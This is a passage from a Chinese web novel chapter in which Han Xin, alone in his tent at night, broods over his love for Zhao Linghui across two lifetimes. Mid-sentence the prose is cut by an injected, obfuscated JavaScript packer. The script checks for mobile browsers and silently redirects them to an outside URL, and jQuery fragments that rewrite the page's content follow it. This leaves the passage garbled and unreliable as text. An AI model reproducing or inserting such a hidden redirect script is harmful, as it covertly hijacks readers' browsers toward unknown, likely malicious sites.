58. 睹物思人(第2页)

    也不是什么难事大事,净是些琐碎小事,又不得不处理,堆叠起来,曹参烦不胜烦。

    一想到回营帐还有无数的军务等着他,曹参便不想回自己营帐了,干脆赖在了韩信这里。

    “夜色已深,阿参兄还不回去歇息?”韩信在竹简上勾勒几笔,头也不抬地问他。

    “我想着在这里,有没有什么能帮上大将军的。”曹参打了个哈欠,神色倦倦,半点不像是能帮忙的样子。

    韩信心里发笑,才不会觉得曹参是愿意主动忙军务的性子。

    看他哈欠连天,韩信就猜到了曹参是倦怠军务了。

    果然,人的性子不管几辈子都变不了。

    韩信笑了笑:“这几日司马不在军中,辛苦曹将军了。曹将军若有什么事困扰不堪,可以送到我这里来。”

    曹参巴不得这句话,懒得继续假客套下去,说了谢过大将军,美滋滋回营帐睡觉去了。

    曹参一走,韩信的帐子彻底安静下来。

    韩信搁下了手中的笔。

    营帐里静的落针可闻。

    这样的寂静,韩信习惯了,也有些不习惯,而今甚至些抗拒。

    做孤魂野鬼那些年,他习惯了也受够了这样的宁静。

    他静静地看

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639266|166789||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    着这世间一切,悲欢,离合,荣耀,折辱,似乎已经麻痹。

    唯一让他泛起涟漪的,只有赵令徽。

    她的苦,她的乐,她的一切总是牵动着他的情绪。

    心里升腾起一丝烦躁,强压下去后,韩信又提起笔,处理起军务。

    案几上的竹简全部清理完,已不知夜色是几时。

    又是那死一般的寂静。

    与其说是抗拒寂静,不如说是思念在寂静的夜里无处遁形。

    赵令徽乍离开这些时日,思念还能被军务压下去,随着时间的流逝,思念愈演愈烈,再也压不住了。

    甚至随着时间点发酵,浓烈到了一定程度。

    思念从他骨髓里生出,敲髓吸骨,一点点将他吞噬,完全占据。

    他难以自抑,总在夜深人静时,反复咀嚼他们前世的一切。

    事实上,他们前世也是聚少离多的。

    除却幼时的无忧无虑,一年别离后的一夜云雨,两年别离,后面的日子里,除去打仗的日子,哪怕他们做了夫妻,也没有几日能好好待在一起。

    仗打完了,天下定了,没过多久,他们就和离了。

    他其实一直在自欺欺人。

    他宁愿要她利用他,也不愿意相信她不爱他。

    思及此,他眸子里的光黯淡下来。

    罢了罢了,他还有一辈子,他会做到的。

    不管她爱不爱,只要她过得好就够了。

    她如今……应当身在彭城吧?她过的好吗?一切顺利吗?会不会有危险?

    他恨不得生了双翅,立刻到她身边去,风也好,雨也好,都陪着她。

    想着睹物思人,韩信惊觉,今生令徽未赠他任何物件。

    连睹物思人都不能。

    思念像蚂蚁一样噬咬他的心脏,密密麻麻,欲寻无果。

    手指搭在案几上,一顿一顿地,轻轻敲着案几,打破了这寂静。

    她应当,已经怀疑他了。

    那几日的躲闪,想是因为她觉得他会恨她、会叛汉,她在思索对策。

    他不希望躲她。

    也不希望令徽对他怀有愧疚。

    愧疚会让令徽不快活,他不希望令徽不快活。

    他想直接告诉她。他不恨她,也不会叛汉。

    扯掉面纱的时候他又该如何面对令徽呢?

    质问?愤恨?怨气?冷漠?

    都不是。

    换作还是孤魂野鬼的时候,他也许会质问,问她为何处处薄情,却处处演深情。

    年岁和思念早已将所有磨平,只剩下了希冀和爱。

    若说质问,他早就在令徽也重生的那一瞬间质问过了。

    尽管他没有得到答案。

    但他不需要一个答案,他从自己这里找到了答案。

    不论再来多少回,他还是爱她。

    不管她爱不爱他,不管她会怎么对他。

    明知是砒霜,他心甘情愿。

    那时他的质问,只是想让积压多年的情绪有一个发泄口。

    宣泄过后,他又后悔,后悔吓哭了她。

    他不想他们这一次再次以欺瞒结尾,不希望他们再次蹉跎,更不希望,令徽再落得那样的下场。

    她应当永远快活,游戏人间,指点江山。

    伴着悠悠一声长叹,天边的霞光扯碎夜幕挤了出来。